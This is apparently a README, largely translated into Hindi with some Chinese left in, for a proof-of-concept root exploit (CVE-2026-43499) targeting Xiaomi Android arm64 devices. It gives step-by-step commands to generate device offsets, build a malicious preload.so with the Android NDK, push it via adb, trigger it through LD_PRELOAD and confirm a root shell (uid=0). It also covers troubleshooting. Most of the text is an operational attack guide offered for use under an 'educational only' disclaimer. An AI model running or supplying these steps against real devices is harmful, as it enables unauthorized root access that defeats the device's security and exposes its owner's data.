
भेद्यता विश्लेषण और CVE-2026-43499 के लिए प्रूफ ऑफ कॉन्सेप्ट (PoC), जो Xiaomi डिवाइसों को प्रभावित करता है। केवल शैक्षिक और शोध उद्देश्यों के लिए।
English | 中文
यह CVE-2026-43499 के लिए एक Android arm64 स्थानीय विशेषाधिकार वृद्धि अनुकूलन प्रोजेक्ट है।
प्रोजेक्ट लक्ष्य डिवाइस के boot.img और profile जानकारी के आधार पर target.h उत्पन्न करता है, फिर संबंधित preload.so संकलित करता है।
नोट: यह प्रोजेक्ट एक सामान्य अनुकूलन फ्रेमवर्क है, जो किसी एक विशिष्ट मॉडल से बंधा नहीं है। वास्तव में यह उपयोगी है या नहीं, यह इस बात पर निर्भर करता है कि
generate_target.pyसफलतापूर्वकtarget.hउत्पन्न कर पाता है या नहीं और वास्तविक डिवाइस परीक्षण के परिणामों पर।
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile_xxx.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Windows पर निम्नलिखित उपयोग करने की अनुशंसा की जाती है:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2 में make इंस्टॉल करें:
pacman -S make coreutils
आपको निम्नलिखित तैयार करने की आवश्यकता है:
boot.img
profile_xxx.json
profile उदाहरण:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
profile में ये दो पते:
p0_phys_offset
p0_kernel_phys_load
पहले से Root किए गए, और लक्ष्य boot.img के समान फर्मवेयर वाले फोन पर स्क्रिप्ट चलाकर प्राप्त किए जा सकते हैं:
python3 detect_offset.py
Windows पर भी:
python detect_offset.py
Linux / macOS:
cd /path/to/project
Windows MSYS2 उदाहरण:
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Linux / macOS उदाहरण:
export ANDROID_NDK_HOME=/path/to/android-ndk
Windows MSYS2 उदाहरण:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Windows पर यदि python3 उपलब्ध नहीं है, तो उपयोग करें:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
यदि llvm-objdump नहीं मिलने का संकेत मिले, तो पथ मैन्युअल रूप से निर्दिष्ट करें:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
सफल होने पर कुछ इस प्रकार दिखाई देगा:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
सफल होने पर निम्नलिखित उत्पन्न होगा:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
सत्यापन:
adb shell '/data/local/tmp/su -c id'
सफल होने पर आमतौर पर दिखाई देगा:
uid=0(root) gid=0(root)
आपके पथ उदाहरण के अनुसार:
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
अंतिम फ़ाइल:
source/build/bin/preload.so
LLVM इंस्टॉल करें, या उपयोग करें:
--llvm-objdump "/path/to/llvm-objdump"
Windows पर MSYS2 से इंस्टॉल करें:
pacman -S make coreutils
आमतौर पर NDK पथ सही से कॉन्फ़िगर नहीं किया गया है।
Windows MSYS2 उदाहरण:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
आमतौर पर इसका मतलब है कि वर्तमान boot.img या कर्नेल लेआउट अभी तक सफलतापूर्वक अनुकूलित नहीं हुआ है।
मुख्य रूप से जाँचें:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h को पुनः उत्पन्न करना आवश्यक है।target.h को मैन्युअल रूप से संपादित करने की अनुशंसा नहीं की जाती है; इसे generate_target.py द्वारा स्वचालित रूप से उत्पन्न किया जाना चाहिए।